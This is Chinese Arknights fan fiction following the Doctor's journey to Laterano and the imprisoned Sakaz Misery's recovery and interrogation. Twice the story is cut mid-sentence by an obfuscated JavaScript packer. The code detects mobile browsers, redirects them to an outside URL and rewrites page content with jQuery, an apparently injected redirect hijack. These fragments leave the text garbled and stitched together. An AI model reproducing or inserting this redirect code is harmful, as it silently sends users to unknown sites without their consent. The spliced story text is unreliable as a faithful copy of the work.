“我的答复自始至终不会改变,博士。无关律法的启示,也无关萨科塔的存在本身,寻路者会成为您忠实的伙伴,我们愿意承担起第一枪的罪责。即使那焰火将要引领我们走向毁灭,我亦心向往之。” 他抽出腰后的守护铳,半跪下,膝盖陷入黑色的泥土里,腰背挺得笔直,双手托举着陈旧的守护铳,递向博士。 人类的手掌覆上铳枪,柔弱的手指触及冷硬的枪身,“那么,我在此许诺,只要我还活在这世上一天,拉特兰的荣光就永不陨落,它会成为指引泰拉的一面旗帜,重塑泰拉的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400023|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把铳枪,照亮泰拉的一束强光。直到愤怒的火焰燃尽,直到阻隔层失效,直到源石的脚步布满整片大地。” 背满枪支与炸药的萨卡兹伸脚踹了踹伏在地上几乎已经归于众魂的同族。但他身上的源石没有将死之人那样迅速蔓延的痕迹,真是奇怪。 “医生,把他带回去好好救治。” 临时营帐内,W不耐烦地抛接炸弹遥控器,源石爆炸阻碍了他们追击的步伐,他们最终会丢失博士的踪迹大半都归功于这个太能干的叛徒。但她没有像往常那样恶狠狠咒骂,即使他们的损失远远超出预估,伊内丝也负了伤,还好有赫德雷照顾着问题不大。 “你说治不了什么意思?我不管你用什么方法,总之,必须吊住他的命!不然我们这么多兄弟姐妹都白死了!”W猛拍桌,尾巴在身后不耐烦左右晃。 手臂缠满绷带的伊内丝注视着被骂得狗血淋头的医官退出营帐,有些犹豫说道:“我可以复原一部分……用在那个人身上的源石技艺,虽然做不到化腐朽为神奇,但是保他的命回到卡兹戴尔足够。” “那你还在等什么呢,我亲爱的伊内丝,”W甜腻过头的嗓音反倒叫人发寒,“我会批准你的带薪休假的,和赫德雷的一起。” 卡普里尼整理起需要的用具,即使只有一只手臂能够灵活自如,但这难不倒这个经验丰富的战士,她此前早就受过更重的伤。医官还带来了内部装有一支空药剂的手镯,未知成分的液体注入萨卡兹体内,在被他们发现以前暂时保住了他的性命。伊内斯合上医疗箱的盖子,语带怀疑,“我还是不太相信,为什么会觉得保下他,能够有利于我们未来的局势?” “谁知道呢,殿下的命令是如果不能‘劝’回博士,那就把他身边的人带回去,我们的任务也不算失败。”W躺上座椅,低头研究起自己被血液染红的暗色指甲,“要不我们来打个赌?” “……赌什么?” “赌他会不会因为这个叛徒心软,还是像对待Scout那样,用完就扔了。”W抬脚搭上桌面,指尖夹着一支笔。 “无聊。”伊内丝白了她一眼,提起箱子伸手撩开军帐,“他们都不是因为某个人会改变自己决策的人,从某种程度上说,他和我们的魔王是一类人。” “但你打心底希望他会选择前者,我了解你,伊内斯,”W玩味地笑笑,“不然你也不会看上赫德雷了。” “……难道我们会指望一个良心吝啬到连身边最亲密的人都能舍弃的人,会拯救我们的国家吗?”伊内斯喃喃道。 走出指挥官营帐,外面随处可见残肢断腿还在哀叫的萨卡兹士兵,因为条件恶劣和医疗用品的缺乏,他们不得不抛弃一部分丧失行动能力的同僚,为了防止被附近其他军队发现,将这些还在喘气的家伙抛进长满尖锐源石的山谷中,即使已经行军几十公里远,伊内斯耳边恍惚还能听到那些刺耳的哀嚎。她晃了晃脑袋,握紧受伤的拳头,加快脚下的步伐。 Raidian拥有一双柔软温暖的手,尺寸不大,但当被这双手抱住时,就像回到了妈妈的怀抱里一样。博士也没抵挡住这股诱惑,他蜷缩在黎博利的怀里,任由那双温柔的手轻轻抚摸过他的肩膀和后背,身后的那对机械臂也环过人类的腰。 “你会怪我吗?” 黎博利轻声叹气,“你已经很累了,博士,不要再考虑这些问题了。” “可我只要一闭上眼……就会想起……明天离开的时候我可以回去看一眼吗?” “安多恩会同意的。”Raidian梳理人类乱糟糟的头发,“你很悲伤,也很自责……你其实不想这样做,不是吗?” “……我不知道,但这是我应该做的。”人类的声音轻得仿佛要随风飘散。 “你是个好孩子,即便感到痛苦,也要坚持走下去自己的路。这段时间我会陪伴在你们身边,如果感到疼痛、被抛弃,我的怀抱随时对你敞开。” “…谢谢你,Raidian。” 人类在女性黎博利温暖的怀抱里睡去,这是他这段时间以来最平静的一觉。他在睡梦中也能感受到源石的疯狂生长,那些延展开数十公里的巨大山脉,像流动的经脉,击穿山川河流的妨碍,连成一片,向他传递着扭曲与混乱的讯息。 奇迹没有发生。 源石爆炸的粉尘挥散以后,那一片地区都被标注了危险建议绕行,中心的源石簇被打散了,散落的源石往外绵延几公里。博士只能站在车上,远远地用望远镜观察当时爆炸的中心,满地的黑色痕迹与被外力更改交错的复杂地形,还有后续引发的天灾。没有泰拉生物能够独自存活下来。 四轮小车驶入升降梯,博士跟着安多恩走进移动舰船的中控室。这座破旧但稳固的堡垒,在荒野上前行,但它的存在并不孤单。 拉特兰那艘高大、悬挂着教宗旗帜的雄伟军舰向这群被通缉的“寻路者”敞开了舱门,数百米高的舰桥上,一排排机枪瞄准了从小型移动舰船里驶出的小车。 正门前,两位圣徒已等候许久。两位律法选中的使者,他们容貌微妙的相似,发色却截然相反,黑色的光圈与光翼在拉特兰人中也显得格外特别。 “欢迎您的到来,预言家。” 一男一女的声音,一个冷漠一个柔情,随着他们的话音落下,舰上机枪全部收回,他们身后站着的萨科塔教宗骑士也抬起手中巨大转轮铳的枪口。 柔情的女声开口道:“教宗阁下已等待您许久了,您身旁的这些……” “安多恩会和我一起见你们的教宗。” “为了保护您的安全,我们会负责监视这些通缉犯的行为。”冷冰冰的男声接话道。 “悉听尊便。”安多恩没有携带武器,他摊平手掌以示诚意。 舱门缓缓合上,巨型高速战舰后拖挂着一艘小型移动舰船,迎着夕阳驶上路途,像一头低吼着前进的巨兽,在大地上碾过硕大的脚印。 28.27 拉特兰的高速战舰日行千里,博士的视线投向舷窗外不断变幻的景色,灰白色的发丝长到淹没了脖子,没人知道这个前文明人此刻正在想着什么,但也可能什么也没想,他只是放空大脑,凝视着往后倒退的大片裸露地表、萨科塔酷爱的白色建筑与城镇聚落、源石堆积生长的山脉。 Raidian给他捎来一杯没有额外加糖的热朱古力,博士轻声道谢后,视线收回到手中冒着热腾腾蒸汽的暖棕色饮料中。 “拉特兰不比其他地方更特别,尽管大家都认为这里塞满了乐天派的傻瓜。” “你这些年一直待在拉特兰吗?” Raidian点头又摇头,“我和梅兰德基金会有合作项目,不过别担心,我不是他们的特工,只是他们的儿童康复项目让我挺感兴趣的。” 博士忽然想起来什么,但他的终端早在源石簇里坏掉了,“那你可能认识Outcast?是个乐天派的萨科塔奶奶,戴着牛仔帽,很帅气。” “看来我们的共同好友比你想的要多。”Raidian微笑道。 不仅是Outcast、Mantra,Raidian与博士的合照早就通过终端发给了Mantra,女士表示她正在赶回拉特兰的路上,连巴别塔出走的Touch也是Raidian的旧友。 “巴别塔也曾经试图招募过我,那里也确实有些孩子让我特别在意,但那里终究不是适合我的地方。如果我真的去了,估计也会跟Touch一起离开,说不定她就不会遭遇到那样的意外……”Raidian感伤道。 博士轻轻触碰这位温柔黎博利的手背,换来Raidian宽慰的一笑,她柔声道:“遗憾是常有的,活着的人要怀揣着他们的希望继续走下去。等到了拉特兰,介意和我、Outcast去一个地方看看吗,博士?” 两位圣徒除了在面对寻路者时摆出同仇敌忾的姿态,其他时候就像一对闹别扭的姐弟。博士几乎很少单独见到他们其中的一位,尤其是那位叫阿尔图罗的女性萨科塔。 “预言家。”名为费德里科的男性圣徒点头打招呼。 “叫我博士就行,那个称呼已经不合适了。” “我们已经与教宗取得联系,拉特兰万事俱全,就等着您的到来了。因为之前没有及时赶到,以至于让您遭受了不必要的劫难,我在此代表教廷以及拉特兰公证所向您赔罪道歉。”费德里科俯身,手掌贴于胸口,脸上的表情还是从见面开始就没有改变过的严肃,“卡兹戴尔会为他们在边境轻率暴力的行为付出代价,拉特兰与汐斯塔均已发出了外交抗议。” “我知道了,这不是你们的错,我也无意责怪你们。”博士轻轻摇头。 “博士他想听的不是这些干巴巴的外交辞令。”阿尔图罗在房间的另一头出声,她的语气一如既往悠扬,每一句话都带有某种旋律,“他更需要一首疾风骤雨的乐曲,来发泄心中的不快。如果您愿意准许我的演奏,博士……” “前通缉犯,阿尔图罗,现在的你虽然拥有教宗的特赦,但仍然被禁止演奏音乐,尤其是单独与博士相处时。”费德里科警告道。 “但博士更喜欢我的旋律,我能从他的身上听到。”阿尔图罗丝毫不惧威胁,她迈着轻快的步伐走近,又被费德里科手上的铳枪阻挡。 “没关系,费德里科,她不会做什么的,你们都是被选中的圣徒,必然会有特别之处。” 连博士都发话了,费德里科只得退让开,他捏紧手里的铳枪,如有必要,他会承担堕天的风险护卫博士的安全。阿尔图罗走到博士面前,缓缓往前伸出她的手臂,黑曜石般黝黑璀璨的眸子直直注视着人类,“请允许我……触碰您的琴弦。” 模糊的光源,不断闪动的记忆画面,身体已经疼痛到近乎麻木了。源石撕裂开□□,血肉之躯又怎么能够抵挡矿石的硬度,他身体的每一寸都在被撕裂,人疼到一定程度会丧失求生的意志,他真的很想很想就这么睡去,投入死亡那平静的怀抱,但内心深处却有一道声音一直支撑着他要坚持下去,活下去。是源石技艺,还是让他为之甘愿送命的情感? 是了,博士,他对不起博士……明明已经一度消散的强烈愿望,却在那一刻达到顶点。他是个糟糕的、不称职的伴侣,只会一次次让博士失望,连终结自己的生命都没能做得那么果断。身为巴别塔的干员,魔王的利刃,曾经的雇佣兵岁月热血上头,与自己身上承载的使命相比,生命是他们所能献上的最为虔诚的祭品。那时的他可以毫不犹豫挥刀了结自己,但如今,他的匕首上却被温暖的日子包裹上了一层厚厚的棉花,他想要活下去,不是作为一把武器,一枚用完就扔的棋子,一个孤单的在夜路上行走的人。 是博士点亮了他小小的世界,让这里充满光芒与希望。他想要活下去,回到博士的身边,他是有家的萨卡兹,博士一定还在等着他回去,无论多么遥远,无论会遇到怎样的艰难险阻,无论会经受何种折磨。唯有博士的身边,是他的心安放之处,但凡他一息尚存,他爬也要爬回博士身边。 “咳咳……” 肺部传来灼烧般的疼痛,五脏六腑都被锯齿割开一般,全身因为失血过多的冰凉,但脑袋却像放进滚烫的岩浆里一样,烧得他意识迷糊。 “……真是奇迹,都这样了还能勉强有意识,他的——止住了——接下来——” 只言片语从雾蒙蒙的耳朵里滤过,待到Misery再一睁眼时,他全身上下感觉都不是自己的了。 往日里敏捷灵活的四肢现在僵直在原地,他连抬起自己的一根手指都做不到,气管更是被切开了,冷飕飕的风从脖子边缘溜过。源石技艺没有回应他,他的锁骨上方卡着一圈黑色颈环,上面篆刻的不知是咒文还是巫术印记,彻底封死了他的源石技艺使用。虽然在这种情况下使用源石技艺无异于自杀,但他对于被剥夺选择死亡的权力感到不快。 他只能沉默注视着那群医生忙前忙后,与死神拉锯,硬生生把他这个悬在生死线上的病人拉回现世。眼角滑下的温热的泪水,后知后觉提醒着他一件事。 他活下来了。 “不,我现在的杂音太多了,这只会伤害到你。”博士摇头,萨科塔的手臂最终没有触碰到他。 “我很遗憾,博士。”阿尔图罗垂下眉毛。 “但以后会有机会让你奏响我内心的旋律的,到那时,我会欢迎你的到来,并且期待成为你最好的那把乐器。”博士轻拍她的肩膀,笑得眉眼弯弯。阿尔图罗从这个人类身上尝到了疯狂与毁灭的味道,但在那之下仿佛还隐藏着些什么,萨科塔被挑起了好奇心。 “希望那一天早日到来,博士。” 费德里科沉默注视着博士离开的背影,回头狠狠瞪一眼名义上的姐姐,然后转头跟上,衣服上蓝色的飘带随着主人的大幅度动作飘动起来。 被修缮一新的小车推开房门,机械臂上抓着一张小小的纸片,弗里斯顿的语气一如既往的欢快。 “博士!我向他们借了彩印机,这艘船上真是什么都有啊,我想你会喜欢这个的。” 博士放下手里的平板,从机械臂上接过那张纸片。 大片的黑棕色源石背景下,一个几乎与背景融为一体的萨卡兹伫立在原地,他灰白的发丝狂乱飞舞着,金色的眼睛即使在昏暗的背景下也亮得吓人。 “我先走一步,斯普莉雅说还有新的升级装备件,待会儿记得去吃饭啊,博士。”小车施展他用得已经纯熟精准的技术挥动机械臂轻轻合上房门。 纸片被粗暴地揉折,随意扔到地上,好像这样就能发泄一部分对于照片上人的不满。博士咬了下唇,站在原地半晌,拼命和不知名的力量对抗着,最后叹口气败下阵来,走过去蹲在纸团边,拾起那张皱巴巴的照片,再用一点点水和重物压平。 平心而论,机械小车上配备的摄像头像素差得可以,照片上的人影都雾蒙蒙的,博士需要很仔细很仔细地看,才能勉强分辨出萨卡兹的五官,但他就像博士预想中的那样,对镜头是笑着的,不到十个像素的图案,勾勒出一个疲惫但是温柔的笑。 博士把这张纸片放入他贴身的衣兜里,整个人脱力倒在沙发上。拉特兰方对他非常重视,连军舰上最好的房间都留给他一个人住,但空旷的室内空间只会加剧人类身上的寒冷。安多恩在费德里科的监视下也来过几回,这位圣徒恨不得给博士的房间门口埋满破片地雷,阻挡这些危险分子的靠近,但在其他萨科塔的阻拦下他没能成功。 安多恩隐晦关心了他最近的身体状况,并且提出一些舒缓精神的建议,他会拿出那些即使坐上教廷的军舰也舍不得丢下的书籍,为博士念诵那些曾在伊比利亚时支撑着他走过来的经典故事。 “你明明说过你不再信仰这些了,却还是用它们来鼓励我?” “即使拿掉宗教信仰的那部分,它们仍然富有积极开放、乐观进取、在绝望中也愿意反抗命运的精神,这也是为什么它们会成为传颂的经典,因为它们符合绝大部分人的精神需求。”安多恩合上书本。 “你适合去当老师,而不是带着一群危险分子在拉特兰周边狂轰滥炸。”博士认真说道。 “或许等到苦难焚尽的那天,我会找个平静的乡下,当个‘人畜无害’的老师。”安多恩轻笑道,“你也一样,博士,我看得出来,你曾经是个学者,熟悉实验室胜过战场,熟悉书本胜过枪支,也许我们走上这条道路的理由不尽相同,但我们有着一样的目的地。我们一样品尝过苦难的滋味,看过这片大地最漆黑丑陋的面孔,却还是会选择拯救他们……” 他的确在安多恩身上看到了自己痛苦的影子,“和你的谈话很愉快,谢谢你的理解,这些书我可以借走一段时间吗?” “当然,直接送给你都没关系,能够照亮一位迷途之人的前路,那就是它们所能发挥的最大价值了。”安多恩点头。 桌椅边缘被海绵包覆,整个房间几乎都没有锐角的存在,连墙壁都是柔软的,餐具也是软的,每次都由专人发放收回,上厕所都有人随时盯着。Misery对这里并不陌生,因为这座特殊的监狱曾经被用来关押凯尔希。虽然自从博士来到巴别塔,凯尔希就很快从这里放出去了,但在博士之前,这位勋爵已经在这里独自度过了两百年的时光,几乎超过大部分种族一生的长度。 他的指尖划过脖颈上坚硬的黑色颈环,除此之外没有其他限制措施,他从未如此脆弱,失去源石技艺,重伤后孱弱的身体恐怕连几岁小孩都比不过。Pith在此期间来对颈环进行过调整,她的眼神一如既往的坚硬,但耳羽却在颤抖,他们不是没有经历过叛徒的背叛与处决,但Misery完全是另外一回事。在他背叛巴别塔之前,巴别塔就已经背叛了所有人。 “我不怪你,Pith,这是你的职责。”Misery虚弱说道。 “我不会道歉。”黎博利的语气依旧强硬,一板一眼,“军令在身,不得不从。” “其他人还好吗?” “……Ace刚从维多利亚的战场回来,他负了伤,我很快也会去支援了。” “对不起,我本应该和你们站在一起。”他是真心的,他与博士在各国辗转的同时,他的前巴别塔同僚们却一刻不停地在前线奔劳,战争一旦开启,就不能轻易停下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15404352|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“现在说这些有什么用呢,魔王还能留你一命已经不错了。王庭之主们宣称他们容忍不了任何的背叛行为。” Misery不太在意这些威胁,他如果会怕那些老东西,那么从一开始就不会选择走出巴别塔,“Logos呢?他也是抗议的一员?” “他与魔王站在一起。”Pith提醒道,“年轻的王庭之主,他身上承担的压力比我们都要重。” “谢谢你告诉我这些……衷心祝愿你能够平安归来。”Misery轻声说道。 “你变了很多,”Pith抖抖耳羽,“是因为博士吗?” Misery思索了下,然后摇头,“我想我本就如此,只是博士他让我再次找回了自己,不再被血脉的诅咒束缚。” 圣城拉特兰。 洁白的建筑像一块块蛋糕坐落在巨型移动地块上,烟花与喷泉,彩带与气球,灿烂阳光为它镀上一层壮丽的金色外壳,虔诚的教徒会对着穹顶散发的光芒顶礼膜拜,感恩主为他们带来了美好的一天。 博士踏上平整石板路,靴子敲击石面,发出哒哒哒的清脆响声,他披着与周围的教徒同样的白色兜帽,将整个脑袋和瘦小的身躯包裹在内。两位圣徒在他身前一左一右引路,他们的光翼与圣城染上了同样的颜色。移动城市的地块早就重新拼接组合完成,圣城大门经由这条大道直通大教堂。 两排高大的教宗骑士侍立两侧,铳与盾隔开了热情的民众与中间圆满完成任务归来的圣徒一行人。大道两侧除了跪拜的教徒,还有推着冰淇淋车的小商贩,他们的车上系着一把五颜六色的轻盈气球,小孩子在人群中穿梭,探头探脑对如此大张旗鼓回城的重要人物感到好奇。 教宗已等待许久,在博士踏入教堂的那一刻,圣城从内到外响彻洪亮神圣的钟声,从拉特兰主城至偏远的小镇,被信仰连接起来的每一个地块,都在庆祝这一刻。预言中降临泰拉的弥赛亚,如今终于抵达忠诚的圣城,这片大地上的苦难终将消弭,神的使者会带领他们摆脱困苦与贫瘠,前往先知曾向他们许诺的流奶与蜜之地。 又一道熟悉的身影推开厚重的两道金属门。 Misery已经不再期待更多熟人的出现,继Pith之后,他曾经待过的小队成员也来看望过他。他们当中有人已经永远留在了战场上,活下来的成员们对他的遭遇感到惋惜,因为对内情的了解有限,一致认为是一向认真负责的Misery被那个异乡人蛊惑了,才会做出这种错事,但只要他表现好得到魔王的谅解,他们的行动小队依然欢迎他的回归。 Misery认为自己没有解释的必要,所以他什么也没说,任由玻璃对面队友们期盼的目光渐渐冷下来。 餐盘被一双粗糙的大手轻轻放下。Misery抬起头,“Ace……” “很高兴你没有一醒过来寻死觅活的,比以前长进多了。”Ace露出疲惫的微笑,他的手臂上缠着绷带,走路姿势僵硬不自然,还需要粗壮的尾巴辅助平衡,以Misery对他的了解,应该是刚获得医生的许可能够下床就急匆匆过来看他了。 “你是来审讯我的,还是来看望一个老朋友?” “想撬开你的嘴,恐怕比用锤子砸开一个实心铁核桃都要难。”Ace也不见外,直接抽来椅子在旁边坐下,他的动作比以前迟缓许多,可能是扯到伤口了。 “……但你一定答应了魔王什么条件,才能来这里。”Misery揉了揉眉心,“我们之间就不要弯弯绕绕了,你想从我这里得到什么?——魔王到底想从我这得到什么?” “别急,Misery,在那之前我还有个东西给你看。”他从兜里掏出自己的终端,点开一个视频,横在萨卡兹的面前。因为这里连信号也都全部屏蔽了,所以这段视频是提前下载在终端里的。 电视直播画面上,一位灰蓝色头发的萨科塔,正对着话筒铿锵有力发言,他的身后是雄伟的拉特兰大教堂,教堂顶部涌出白色的光圈,中央一道光束直冲云霄,这等神迹即使在拉特兰的历史上也从未有过。 “拉特兰教廷的诸位、电视机前的各国国民们,请原谅我的唐突。我是出身于伊比利亚的萨科塔,寻路者的领袖,安多恩……我行走过许多地方,见到过许多骇人听闻的事情,命运未曾怜惜过我们的族群,信仰也不过是另一层虚饰现实的谎言。我苦难的泰拉同胞们啊,你们不必再束手待毙,引颈就戮,你们不是羔羊,害怕的不应该是我们,而应该是他们!是苦难的缔造者,是血腥的压迫者!拿起你们的武器,拉特兰会与你们坚定站在一起……雷姆必拓,维多利亚……我们会团结在一起——” Ace垂下头,静静等待着Misery将整个慷慨激昂的演讲听完。 “向卡兹戴尔正式宣战。” 萨卡兹的神情复杂,Ace收回了他的终端,又在屏幕上戳戳点点,“你认为突然转变态度的拉特兰和博士有关系吗?或者说……这就是博士的意思。” “我……我不知道。”Misery恹恹的仿佛死去已久的尾巴总算开始摇摆起来。 “先是Scout,然后是你,他对我们已经失望透顶了。局势一天比一天差,我们坐在这里批判魔王过激的决策也改变不了什么。”Ace又一次伸出终端,“但你手上掌握的东西,说不定能从中找到一些翻盘的希望。” 屏幕上一个戴着白袍的人类回头看了一眼,他藏在一群白衣教徒中,烟灰色的眼睛平和却没有一点温度。 “再好好想想吧,你舍弃一切救下的,究竟是天使,还是恶魔。” 萨卡兹的眼睛牢牢钉死在那张匆忙拍摄的影像里。 29.28 白色的像蛋糕一般的建筑错落,甜美的水果和糖霜般颜色亮丽的屋檐下,博士抽空循着Raidian的指引,来到了这里。同样是福利院,这里的风格与卡兹戴尔截然不同,风车与糖果,屋檐下飘动的五颜六色的彩带,但孩子们的笑脸却并无差别。 在门口远远朝他们招手的菲林大姑娘嗓门也大得出奇:“这里!这里!你们终于来啦!——好久不见,博士。” 虽然严格来说,上一次会面时这位菲林的链锯还架在博士的脖子上,但不妨碍他们现在像重新认识的好朋友一样相谈甚欢。Outcast也放下了铳枪,在孩子们中间讲述哥伦比亚拓荒地的壮美风光和行侠仗义的浪客故事,慈祥又飒爽英姿的帅奶奶哪个小孩会不喜欢呢。 “博士……” 除此之外,还有一位特别的故人,煌嘟嘟囔囔说小猫也该出来一起迎接博士的,但不知道是小女孩太害羞还是因为什么,听说博士和Raidian他们要来反而躲进房间里不肯出来。 直到煌爬上窗户敲了敲,白发的菲林小女孩才小心翼翼推开门,手里抱着毛茸茸的兔子玩偶,怯怯喊了一声博士。 人类的眼前浮现了当时巨大的城墙般重剑撕裂了坚不可摧的巴别塔外层的场景,她揉捏加固的墙壁就像揉捏土豆泥和面团一样轻易。与那恐怖的破坏力格格不入的是被那四把重剑团团围在中间的却是个看上去还没成年的小女孩。她看见了博士,于是停下了“手”。 “你也想出去,对吗?” “要我说,巴别塔哪有外面吹的那么厉害,所谓的重重安保在我们小猫面前也跟纸糊的一样。”煌不以为意说道,话里话外充满了自豪,“你那时候真该和我们一起离开,我们在拉特兰等你等了好久哇。” 博士只能苦笑:“那不就坐实我真的叛变到拉特兰了吗?” “但你现在就在拉特兰,而且……我虽然不信教,但也听说了最近传遍大街小巷的消息,他们预言中的救世主降临,正和你到达拉特兰的时间一致。” 博士摇头,“没有救世主这种东西,我来到拉特兰的原因有很多,其中也包括了履行与你们的约定。” 纳西莎的手掌轻轻盖在博士的手上,“你的手很冰,你很悲伤,博士,我能感觉得到。” “谢谢你的关心,我现在已经好很多了。”博士微笑着摇晃小猫的手掌,宽敞的木质长椅,他被一大一小的菲林围在中间,庭院里的花朵在阳光下摇曳,投下纯色的阴影,“你呢,最近怎么样?头还有没有在疼?” 纳西莎摇了摇头,“我最近能记住的东西变多了,连Raidian都会夸我进步很快。” “其他的人不一定,但小猫一直没有忘记过你呢,经常问我:博士什么时候来?有时候连早上刚问过了都忘记了,下午一定会再问一遍。”煌笑道。 菲林女孩的耳朵耷拉下来,食指对在一处,博士揉了揉她毛茸茸的脑袋,“我答应过你,就一定会做到。” “嗯……但离开那里以后,你好像没有那么开心,虽然我当时好像也一样。我的家人们、Raidian、煌、Outcast,她们都陪着我。可你却是一个人,博士,当时带你离开的那个萨卡兹哥哥,他还好吗?” 在来来往往的黑色人群中,那一道白色的身影格外显眼,他孱弱、瘦小、没有角和尾巴,淡色的瞳孔里盛着与外表年龄不符的温和笑容。他融入人群中,又独立于人群之外,人潮如同河流从他的身侧流淌而过,Misery也不例外,但博士却朝他伸出来手。 “你的手很稳,耐心也很好,还聪明,一点就通。”博士夸赞道,他已经许久没有遇到这样合心意的实验助理了,萨卡兹粗放式的管理方式,认为实验室就是该在爆炸中产生奇迹的地方,为此博士已经换过不少实验台了。 Misery低下头去,看着自己平常握惯了武器的双手重新拾起书本、玻璃仪器、镊子的模样。博士在实验室也会脱下那一身黑色,换上全白的实验服,头发束高,偶尔会挽个小团子,露出苍白瘦弱的脖颈。有时候在实验室熬太晚累极了,叮嘱Misery几句后就蜷缩上折叠床,眼罩蒙眼,只露出半个脑袋在被子外面,他的睡帽上还留有女妖的安睡祝福,其他人轻易碰不得。 Misery在门口的值班表填上日期,他拿笔的手顿了顿。这一天他怎么会忘记呢,巴别塔的第一次倒塌,他那时正在实验室值班,警报响起,破墙的巨构侵入了毫无防备的巴别塔内部。数十米高的机械凿开紧闭的大门,Misery只来得及把能带上的数据存储器都装上,然后眼睁睁看着留存了许多他与博士单独相处夜晚回忆的实验室在巨构摧残下所剩无几,价值几十万龙门币的实验仪器报废。但敌人显然不是冲着碾碎巴别塔的研究经费来的,Misery攀上在空中飞翔的奇怪巨盾,和这群奇怪的入侵人员一起进入巴别塔的深层。 然后发生了什么? 混乱,一片混乱。枪炮和剑锋的嗡鸣,高等源石技艺之间的激烈交锋,在室内造成了一连串的爆炸。通讯失效,道路破碎,在前往魔王所在的指挥室和博士所在的巴别塔最底层之间,Misery毫不犹豫选择了后者。 最后却是Scout一身血带着昏迷的博士先一步找到了他。 萨卡兹同僚的原话他已经记不清了,爆炸和坍塌的墙壁阻碍了视觉与听觉,但他清楚明白Scout想让他做什么。 带博士走出这里,去一个谁也找不到的地方。 这是他付出自己的生命也要做到的承诺。 博士在他的臂弯里醒来时,不需要Misery解释就已经明白发生了什么,他摸向腰间的包,努力撑起身体,往萨卡兹的身体里打入了第一支应急抑制剂。做完这个动作,他才软绵绵放松下来,脑袋埋进Misery的胸口,肩膀不住地抖动。Misery沉默带他远离战场中心,巴别塔冒着烟的巨大建筑被远远甩在身后。 “我会带您出去,我保证。” 匕首划开空气,他们越过巫术祭坛的封锁,逃脱灵幛的追捕,撕裂血裔饥渴的大口。Misery这辈子做过最疯狂最大胆的事情,就是顶着王庭军的追捕,带着他所拥有的唯一远离这一切的争端。即使已经抵达大炎边境,他也对这一成就感到不可思议,他……真的成功了?真的带博士逃出来了? 在大炎的荒野上,Misery打磨着手里不曾离身的匕首,火焰倒映在博士的瞳孔里,像点燃了这具身体里残余的生气。调皮的小鼷兽抱着他的长尾巴啃,其实没有那么痛,但Misery就是想让博士知道他很疼,博士的反应却让他出乎意料,这是不是说明博士也更在意他一点了?乌萨斯舞会上的灯火明亮,照得他那颗小小的心无所遁形。卡西米尔乡间的风光驱散了乌云,一点点照亮了他灰暗的心灵。哥伦比亚拓荒地飞驰的驼兽踏起的尘土模糊了彼此的身影。汐斯塔粉红色的火山温泉仍然像雾气一般笼罩在心间,传来阵阵温暖。 无数的记忆,像被有形的丝线串联起来,强制播放在眼前。 推开那一扇属于博士过去的大门,他又看见了什么? 严厉又公正的旁观者撕开了他埋藏在心底的恐惧。他望见被一柄长长的血红色标枪贯穿钉在雪白墙壁上的博士,血液,好多的血液,从他的心口涌出,淹没整个大殿,血红盖过圣洁的纯白。当他握住博士的手,想要把他从这里救走,人类咳着血睁开眼睛反手扣住他的手臂,睁大的眼睛狰狞恐怖,“你根本不爱我,你只是愧疚,因为你永远也比不上Scout……” “不,别这样说博士,即使知道你是假的,我也还是会心疼。”他握住标枪,试着把长枪往外抽,即便荆棘的枪头刺得他已满手的鲜血淋漓,他也还是没有放手,“我不需要向任何人证明我的感情,我也永远做不到Scout那么完美,但你说过,我做自己就好了,我不比任何人差。我会用自己的方式救你出去,即使出不去……我会留在这里分担你的痛苦。” “我不需要你。”冷漠的博士说道,“自作多情、自我意识过剩的萨卡兹,你又知道些什么?他什么都没有告诉你,他怀疑你,不信任你,即使你为他付出了这么多——到头来,你还是被排除在外。他可怜你,就像可怜他自己,什么也拯救不了,什么也改变不了。这不是童话的世界,你也不是小孩子,爱不能改变任何事。” “我知道,我知道——”Misery嘶吼道,面前的这个博士每说一个字就像在他的心上切上一刀,“这些我都知道……不用再提醒我了,即使知道又能怎么样呢,这是我的选择,无论发生什么都不会更改这一点。” “如果你认为的选择,也是受人设计引导的呢?”博士沾满鲜血的手覆上他的脸颊,暗红色的血液被眼泪冲刷成淡红,“可怜的孩子,连自己来时的路都未曾看清,受到血液与本能的吸引,却误以为是自己内心的选择。” “您对克丽斯腾的看法也是这样吗?” “……跟博士待久了果然也会染上他尖牙利齿的坏毛病。”“博士”轻笑着摇头,将嘴里的鲜血咽下,再开口时他的语气平和了许多,“你该离开了,他在外面等你。” 走出万千石棺的坟墓,那时与他交谈的智者现在褪去了戾气,躺在手中小小的一方终端中。 “普瑞赛斯。” 他听见几个人的声音同时说起这个名字。 他从来没有见过的画面,博士从陌生的石棺中起身,他面向自己问出了第一句话,Misery听懂了这句话。 “普瑞赛斯在哪里?” …… “普瑞赛斯。” Misery醒来头疼欲裂,他不知何时倒在地上,肋骨疼痛不已,连呼吸都带着剧烈的痛楚,口里腥气四溢,他勉强坐起身吐掉嘴里的白沫,刚刚恢复清明的视野中,粉发的萨卡兹君王朝他伸出手。 他没有接过,而是颤颤巍巍扶着地面靠自己缓慢站起来,动作幅度稍大就会带来一阵让人恶心的头晕目眩,他咳嗽着艰难扶住椅子站稳,腰背挺得笔直看向他们的魔王。对任何一位萨卡兹来说,两位魔王的同时出现往往预示着有大事发生,他们应当向他们伟大的王低下头颅,献上忠诚与信仰。但Misery不会,他向他们的魔王发出质问。 “所以你们留着我——甚至一开始给我们逃离的机会,就是为了这一天,从我这挖出他的秘密?只可惜……咳咳,让你们失望了。” 